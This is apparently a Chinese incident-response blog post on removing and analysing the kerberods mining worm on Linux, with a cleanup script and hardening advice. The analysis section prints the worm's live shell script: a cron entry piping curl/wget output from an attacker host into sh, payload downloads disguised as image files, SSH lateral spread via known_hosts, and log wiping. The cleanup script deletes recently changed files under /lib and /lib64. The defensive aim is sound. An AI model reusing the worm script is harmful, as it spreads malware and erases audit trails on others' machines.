Linux服务器感染kerberods病毒 | 挖矿病毒查杀及分析 | (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh）

概要：

一、症状及表现

二、查杀方法

三、病毒分析

四、安全防护

五、参考文章

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一、症状及表现

1、CPU使用率异常，top命令显示CPU统计数数据均为0，利用busybox 查看CPU占用率之后，发现CPU被大量占用；

*注：ls top ps等命令已经被病毒的动态链接库劫持，无法正常使用，大家需要下载busybox,具体的安装和下载步骤参见参考文章（https://blog.csdn.net/u010457406/article/details/89328869）。

2、crontab 定时任务异常，存在以下内容；

3、后期病毒变异，劫持sshd，导致远程登陆失败，偶尔还会跳出定时任务失败，收到新邮件等问题；

4、 存在异常文件、异常进程以及异常开机项

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二、查杀方法

1、断网，停止定时任务服务；

2、查杀病毒主程序，以及保护病毒的其他进程；

3、恢复被劫持的动态链接库和开机服务；

4、重启服务器和服务；

附查杀脚本(根据情况修改)

（脚本参考（https://blog.csdn.net/u010457406/article/details/89328869））

 #!/bin/bash
 #可以重复执行几次，防止互相拉起导致删除失败

 function installBusyBox(){
     #参考第一段
     busybox|grep BusyBox |grep v
 }

 function banHosts(){
     #删除免密认证，防止继续通过ssh进行扩散，后续需自行恢复，可不执行
     busybox echo "" > /root/.ssh/authorized_keys
     busybox echo "" > /root/.ssh/id_rsa
     busybox echo "" > /root/.ssh/id_rsa.pub
     busybox echo "" > /root/.ssh/known_hosts
     #busybox echo "" > /root/.ssh/auth
     #iptables -I INPUT -p tcp --dport  -j DROP
     busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 systemten.org" >> /etc/hosts
 }

 function fixCron(){
     #修复crontab
     busybox chattr -i  /etc/cron.d/root  >/dev/null
     busybox rm -f /etc/cron.d/root
     busybox chattr -i /var/spool/cron/root  >/dev/null
     busybox rm -f /var/spool/cron/root
     busybox chattr -i /var/spool/cron/tomcat  >/dev/null
     busybox rm -f /var/spool/cron/tomcat
     busybox chattr -i /var/spool/cron/crontabs/root  >/dev/null
     busybox rm -f /var/spool/cron/crontabs/root
     busybox rm -rf /var/spool/cron/tmp.*
     busybox rm -rf /var/spool/cron/crontabs
     busybox touch /var/spool/cron/root
     busybox chattr +i /var/spool/cron/root
 }

 function killProcess(){
     #修复异常进程
     #busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -  >/dev/null
     #busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -  >/dev/null
     #busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -  >/dev/null
     #busybox ps -ef | busybox grep -v grep | busybox egrep 'kpsmouseds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -  >/dev/null
     #busybox ps -ef | busybox grep -v grep | busybox egrep 'kintegrityds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -  >/dev/null
     busybox ps -ef | busybox grep -v grep | busybox grep '/usr/sbin/kerberods' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill - >/dev/null
     busybox ps -ef | busybox grep -v grep | busybox grep '/usr/sbin/sshd' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -  >/dev/null
     busybox ps -ef | busybox grep -v grep | busybox egrep '/tmp/kauditds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -  >/dev/null
     busybox ps -ef | busybox grep -v grep | busybox egrep '/tmp/sshd' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -  >/dev/null
     busybox rm -f /tmp/khugepageds
     busybox rm -f /tmp/migrationds
     busybox rm -f /tmp/sshd
     busybox rm -f /tmp/kauditds
     busybox rm -f /tmp/migrationds
     busybox rm -f /usr/sbin/sshd
     busybox rm -f /usr/sbin/kerberods
     busybox rm -f /usr/sbin/kthrotlds
     busybox rm -f /usr/sbin/kintegrityds
     busybox rm -f /usr/sbin/kpsmouseds
     busybox find /tmp -mtime - -type f | busybox xargs busybox rm -rf
 }

 function clearLib(){
     #修复动态库
     busybox chattr -i /etc/ld.so.preload
     busybox rm -f /etc/ld.so.preload
     busybox rm -f /usr/local/lib/libcryptod.so
     busybox rm -f /usr/local/lib/libcset.so
     busybox chattr -i /etc/ld.so.preload >/dev/null
     busybox chattr -i /usr/local/lib/libcryptod.so  >/dev/null
     busybox chattr -i /usr/local/lib/libcset.so >/dev/null
     busybox find /usr/local/lib/ -mtime - -type f| busybox xargs rm -rf
     busybox find /lib/ -mtime - -type f| busybox xargs rm -rf
     busybox find /lib64/ -mtime - -type f| busybox xargs rm -rf
     busybox rm -f /etc/ld.so.cache
     busybox rm -f /etc/ld.so.preload
     busybox rm -f /usr/local/lib/libcryptod.so
     busybox rm -f /usr/local/lib/libcset.so
     busybox rm -rf /usr/local/lib/libdevmapped.so
     busybox rm -rf /usr/local/lib/libpamcd.so
     busybox rm -rf /usr/local/lib/libdevmapped.so
     busybox touch /etc/ld.so.preload
     busybox chattr +i /etc/ld.so.preload
     ldconfig
 }

 function clearInit(){
     #修复异常开机项
     #chkconfig netdns off >/dev/null
     #chkconfig –del netdns >/dev/null
     #systemctl disable netdns >/dev/null
     busybox rm -f /etc/rc.d/init.d/kerberods
     busybox rm -f /etc/init.d/netdns
     busybox rm -f /etc/rc.d/init.d/kthrotlds
     busybox rm -f /etc/rc.d/init.d/kpsmouseds
     busybox rm -f /etc/rc.d/init.d/kintegrityds
     busybox rm -f /etc/rc3.d/S99netdns
     #chkconfig watchdogs off >/dev/null
     #chkconfig --del watchdogs >/dev/null
     #chkconfig --del kworker >/dev/null
     #chkconfig --del netdns >/dev/null
 }

 function recoverOk(){
     service crond start
     busybox sleep
     busybox chattr -i /var/spool/cron/root
     # 将杀毒进程加入到定时任务中，多次杀毒
     echo "*/10 * * * * /root/kerberods_kill.sh" | crontab -
     # 恢复被劫持的sshd 服务
     #busybox cp ~/sshd_new /usr/sbin/sshd
     #service sshd restart
     echo "OK,BETTER REBOOT YOUR DEVICE"
 }

 #先停止crontab服务
 echo "1| stop crondtab service!"
 service crond stop
 #防止病毒继续扩散
 echo "2| banHosts!"
 banHosts
 #清除lib劫持
 echo "3| clearLib!"
 clearLib
 #修复crontab
 echo "4| fixCron!"
 fixCron
 #清理病毒进程
 echo "5| killProcess!"
 killProcess
 #删除异常开机项
 echo "6| clearInit! "
 clearInit
 #重启服务和系统
 echo "7| recover!"
 recoverOk

查杀完成以后重启服务器，发现过段时间，登陆主机，无论本地还是ssh远程登陆，依然会有病毒进程被拉起，观察top里面的进程，并用pstree 回溯进程之间的关系，发现每次用户登陆就会有病毒进程被拉起，怀疑登陆时加载文件存在问题，逐个排查下列文件：

• /etc/profile，
• ~/.profile，
• ~/.bash_login，
• ~/.bash_profile，
• ~/.bashrc，
• /etc/bashrc；

最后终于发现/etc/bashrc 文件被加入了一些似曾相识的语句

删除并且再次查杀病毒（重复之前查杀步骤），重启服务器，观察一段时间后不再有病毒程序被拉起，至此病毒被查杀完全。

---

三、病毒分析

1、感染路径

• 攻击者通过网络进入第一台被感染的机器(redis未认证漏洞、ssh密码暴力破解登录等)。
• 第一台感染的机器会读取known_hosts文件，遍历ssh登录，如果是做了免密登录认证，则将直接进行横向传播。

2、病毒主要模块

• 主恶意程序：kerberods
• 恶意Hook库：libcryptod.so libcryptod.c
• 挖矿程序：khugepageds
• 恶意脚本文件：netdns (用作kerberods的启停等管理)
• 恶意程序：sshd （劫持sshd服务，每次登陆均可拉起病毒进程）

3、执行顺序

　　① 执行恶意脚本下载命令

② 主进程操作

1> 添加至开机启动，以及/etc/bashrc 
2> 生成了sshd文件 劫持sshd服务
3> 将netdns文件设置为开机启动
4> 编译libcryptod.c为/usr/local/lib/libcryptod.so
5> 预加载动态链接库，恶意hook关键系统操作函数
6> 修改/etc/cron.d/root文件，增加定时任务
7> 拉起khugepageds挖矿进程

附病毒恶意进程代码

 export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

 mkdir -p /tmp
 chmod  /tmp

 echo "* * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh" | crontab -

 ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -
 ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep "sustse"|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep "axgtbc"|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep "axgtfa"|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -
 ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -

 cd /tmp
 touch /usr/local/bin/writeable && cd /usr/local/bin/
 touch /usr/libexec/writeable && cd /usr/libexec/
 touch /usr/bin/writeable && cd /usr/bin/
 rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
 export PATH=$PATH:$(pwd)
 if [ ! -f "/tmp/.XImunix" ] || [ ! -f "/proc/$(cat /tmp/.XImunix)/io" ]; then
     chattr -i sshd
     rm -rf sshd
     ARCH=$(uname -m)
     if [ ${ARCH}x = "x86_64x" ]; then
         (curl --connect-timeout  --max-time  --retry  -fsSL img.sobot.com/chatres//msg//35c4e7c12f6e4f7f801acc86af945d9f.png -o sshd||wget --timeout= --tries= -q img.sobot.com/chatres//msg//35c4e7c12f6e4f7f801acc86af945d9f.png -O sshd||curl --connect-timeout  --max-time  --retry  -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -o sshd||wget --timeout= --tries= -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -O sshd||curl --connect-timeout  --max-time  --retry  -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload//7.150351516641309.jpg -o sshd||wget --timeout= --tries= -q cdn.xiaoduoai.com/cvd/dist/fileUpload//7.150351516641309.jpg -O sshd) && chmod +x sshd
     else
         (curl --connect-timeout  --max-time  --retry  -fsSL img.sobot.com/chatres//msg//5fb4627f8ee14557a34697baf8843dfe.png -o sshd||wget --timeout= --tries= -q img.sobot.com/chatres//msg//5fb4627f8ee14557a34697baf8843dfe.png -O sshd||curl --connect-timeout  --max-time  --retry  -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -o sshd||wget --timeout= --tries= -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -O sshd||curl --connect-timeout  --max-time  --retry  -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload//1.8800013111270863.jpg -o sshd||wget --timeout= --tries= -q cdn.xiaoduoai.com/cvd/dist/fileUpload//1.8800013111270863.jpg -O sshd) && chmod +x sshd
     fi
         $(pwd)/sshd || /usr/bin/sshd || /usr/libexec/sshd || /usr/local/bin/sshd || sshd || ./sshd || /tmp/sshd || /usr/local/sbin/sshd
 fi

 if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
   for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout= -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
 fi

 for file in /home/*
 do
     if test -d $file
     then
         if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
             for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
         fi
     fi
 done

 echo 0>/var/spool/mail/root
 echo 0>/var/log/wtmp
 echo 0>/var/log/secure
 echo 0>/var/log/cron
 #

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四、安全防护

1. SSH
   ① 谨慎做免密登录
   ② 尽量不使用默认的22端口
   ③ 增强root密码强度
2. Redis
   ① 增加授权认证(requirepass参数)
   ② 尽量使用docker版本(docker pull redis)
   ③ 隐藏重要的命令

五、参考文章

• kerberods挖矿病毒查杀及分析(crontab 挖矿 curl -fsSL https://pastebin.com/raw）

• 记服务器中招挖矿病毒解决过程

• Rocke挖矿软件新变种瞄准Jenkins漏洞

• 挖矿病毒kerberods的分析和应急响应过程

• Watchdogs利用Redis实施大规模挖矿，常见数据库蠕虫如何破？